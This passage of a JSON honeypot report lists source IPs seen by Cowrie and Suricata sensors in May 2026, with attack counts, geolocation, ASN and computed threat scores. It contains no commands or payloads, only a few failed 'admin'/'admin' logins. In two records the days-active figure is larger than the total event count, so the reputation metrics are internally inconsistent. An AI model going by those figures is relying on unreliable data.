        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:07:47.552000+00:00",
        "last_seen_30d": "2026-05-22T01:20:57.318000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.62.197.237": {
      "attack_count": 4,
      "first_seen": "2026-05-18T13:52:39.661Z",
      "last_seen": "2026-05-18T13:52:43.702Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 59.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 26,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:36:30.107000+00:00",
        "last_seen_30d": "2026-05-29T12:12:39.685000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 4
      }
    },
    "107.172.204.15": {
      "attack_count": 3,
      "first_seen": "2026-05-28T22:06:17.078Z",
      "last_seen": "2026-05-28T22:07:20.807Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-24T14:04:37+00:00",
        "last_seen_30d": "2026-05-28T22:08:26.677000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "189.110.163.244": {
      "attack_count": 3,
      "first_seen": "2026-05-24T12:35:55.517Z",
      "last_seen": "2026-05-24T12:36:06.872Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:35:55.517000+00:00",
        "last_seen_30d": "2026-05-24T12:37:19.595000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "47.79.146.14": {
      "attack_count": 3,
      "first_seen": "2026-05-15T03:47:38.362Z",
      "last_seen": "2026-05-15T03:48:39.254Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 9.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T03:47:38.362000+00:00",
        "last_seen_30d": "2026-05-15T03:49:44.192000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "102.213.48.162": {
      "attack_count": 2,
      "first_seen": "2026-05-10T19:08:12.612Z",
      "last_seen": "2026-05-10T19:08:25.855Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Githurai",
      "asn": 328856,
      "as_org": "VIJIJI-CONNECT-LIMITED",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T19:08:12.612000+00:00",
        "last_seen_30d": "2026-05-10T19:09:33.409000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.166.152.128": {
      "attack_count": 2,
      "first_seen": "2026-05-03T16:49:28.336Z",
      "last_seen": "2026-05-03T16:49:40.885Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Narayanganj",
      "asn": 142122,
      "as_org": "Netzone Computers",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:49:28.336000+00:00",
        "last_seen_30d": "2026-05-03T16:50:43.876000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.245.164.154": {
      "attack_count": 2,
      "first_seen": "2026-05-16T16:41:28.904Z",
      "last_seen": "2026-05-16T16:42:25.130Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Durban",
      "asn": 29975,
      "as_org": "VODACOM",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T16:41:28.904000+00:00",
        "last_seen_30d": "2026-05-16T16:43:34.723000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.35.156.7": {
      "attack_count": 2,
      "first_seen": "2026-05-27T07:12:04.162Z",
      "last_seen": "2026-05-27T07:12:18.248Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 7562,
      "as_org": "HCN Dongjak",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T07:12:04.162000+00:00",
        "last_seen_30d": "2026-05-27T07:13:20.888000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.26.6.111": {
      "attack_count": 2,
      "first_seen": "2026-05-16T20:48:37.862Z",
      "last_seen": "2026-05-16T20:48:44.132Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134810,
      "as_org": "China Mobile Group JiLin communications corporation",
      "threat_score": 52.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.8,
        "persistence": 19.2,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 23,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-07T17:32:05+00:00",
        "last_seen_30d": "2026-05-29T04:08:33.284000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Honeytrap": 5,
        "Cowrie": 2
      }
    },
    "112.102.169.109": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:31:40.488Z",
      "last_seen": "2026-05-22T21:32:56.072Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:31:40.488000+00:00",
        "last_seen_30d": "2026-05-22T21:34:04.222000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.30.37.238": {
      "attack_count": 2,
      "first_seen": "2026-05-31T02:47:41.281Z",
      "last_seen": "2026-05-31T02:47:53.816Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Funabashi",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T02:47:41.281000+00:00",
        "last_seen_30d": "2026-05-31T02:48:56.876000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.196.22.217": {
      "attack_count": 2,
      "first_seen": "2026-05-12T11:09:20.318Z",
      "last_seen": "2026-05-12T11:09:51.768Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Sanclerl\u00e2ndia",
      "asn": 265903,
      "as_org": "CYBER TELECOM LTDA",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T11:09:20.318000+00:00",
        "last_seen_30d": "2026-05-12T11:10:57.537000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "138.97.250.50": {
      "attack_count": 2,
      "first_seen": "2026-05-08T15:02:33.677Z",
      "last_seen": "2026-05-08T15:02:47.222Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santiago de los Caballeros",
      "asn": 264821,
      "as_org": "COMCAST-SRL",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:02:33.677000+00:00",
        "last_seen_30d": "2026-05-08T15:03:50.038000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "149.100.145.166": {
      "attack_count": 2,
      "first_seen": "2026-05-06T01:04:09.174Z",
      "last_seen": "2026-05-06T01:04:21.488Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 273039,
      "as_org": "Tecnologia del Presente 18, C.A",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:04:09.174000+00:00",
        "last_seen_30d": "2026-05-06T01:05:25.861000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "160.187.56.48": {
      "attack_count": 2,
      "first_seen": "2026-05-17T14:41:44.430Z",
      "last_seen": "2026-05-17T14:41:56.943Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Narayanganj",
      "asn": 153329,
      "as_org": "Roar Zone",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T14:41:44.430000+00:00",
        "last_seen_30d": "2026-05-17T14:42:59.034000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.108.157.15": {
      "attack_count": 2,
      "first_seen": "2026-05-22T11:36:43.535Z",
      "last_seen": "2026-05-22T11:37:20.875Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:36:43.535000+00:00",
        "last_seen_30d": "2026-05-22T11:38:23.728000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.237.57.14": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:32:17.224Z",
      "last_seen": "2026-05-02T04:34:17.224Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 3816,
      "as_org": "COLOMBIA TELECOMUNICACIONES S.A. ESP BIC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:32:17.224000+00:00",
        "last_seen_30d": "2026-05-02T04:45:00.177000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.249.135.72": {
      "attack_count": 2,
      "first_seen": "2026-05-02T00:11:33.511Z",
      "last_seen": "2026-05-02T00:13:33.514Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Indaiatuba",
      "asn": 28649,
      "as_org": "Desktop Sigmanet Comunicacao Multimidia SA",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:11:33.511000+00:00",
        "last_seen_30d": "2026-05-02T00:24:27.059000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "187.187.196.236": {
      "attack_count": 2,
      "first_seen": "2026-05-08T06:16:14.641Z",
      "last_seen": "2026-05-08T06:16:28.788Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Celaya",
      "asn": 28535,
      "as_org": "Mexico Red de Telecomunicaciones, S. de R.L. de C.V.",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T06:16:14.641000+00:00",
        "last_seen_30d": "2026-05-08T06:19:29.335000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "190.140.113.162": {
      "attack_count": 2,
      "first_seen": "2026-05-05T13:34:48.692Z",
      "last_seen": "2026-05-05T13:35:01.860Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T13:34:48.692000+00:00",
        "last_seen_30d": "2026-05-05T13:36:37.333000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.89.30.160": {
      "attack_count": 2,
      "first_seen": "2026-05-03T07:23:28.052Z",
      "last_seen": "2026-05-03T07:23:40.456Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 264628,
      "as_org": "CORPORACION FIBEX TELECOM, C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:23:28.052000+00:00",
        "last_seen_30d": "2026-05-03T07:24:47.617000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.188.161.142": {
      "attack_count": 2,
      "first_seen": "2026-05-03T16:25:40.730Z",
      "last_seen": "2026-05-03T16:25:53.100Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:25:40.730000+00:00",
        "last_seen_30d": "2026-05-03T16:27:03.590000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.230.93.130": {
      "attack_count": 2,
      "first_seen": "2026-05-12T09:29:43.591Z",
      "last_seen": "2026-05-12T09:31:43.598Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T09:29:43.591000+00:00",
        "last_seen_30d": "2026-05-12T09:32:51.311000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "220.133.210.47": {
      "attack_count": 2,
      "first_seen": "2026-05-27T09:09:37.935Z",
      "last_seen": "2026-05-27T09:10:09.838Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T09:09:37.935000+00:00",
        "last_seen_30d": "2026-05-27T09:11:11.704000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "31.155.131.4": {
      "attack_count": 2,
      "first_seen": "2026-05-07T13:55:22.566Z",
      "last_seen": "2026-05-07T13:55:35.185Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Batman",
      "asn": 8386,
      "as_org": "Vodafone Net Iletisim Hizmetler AS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T13:55:22.566000+00:00",
        "last_seen_30d": "2026-05-07T13:56:36.518000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.254.184.29": {
      "attack_count": 2,
      "first_seen": "2026-05-07T21:47:27.392Z",
      "last_seen": "2026-05-07T21:47:40.338Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T21:47:27.392000+00:00",
        "last_seen_30d": "2026-05-07T21:48:47.298000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "39.117.226.146": {
      "attack_count": 2,
      "first_seen": "2026-05-16T18:34:13.583Z",
      "last_seen": "2026-05-16T18:34:25.859Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T18:34:13.583000+00:00",
        "last_seen_30d": "2026-05-16T18:35:29.068000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.101.169.12": {
      "attack_count": 2,
      "first_seen": "2026-05-09T22:44:04.213Z",
      "last_seen": "2026-05-09T22:44:35.773Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T22:44:04.213000+00:00",
        "last_seen_30d": "2026-05-09T22:45:42.691000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
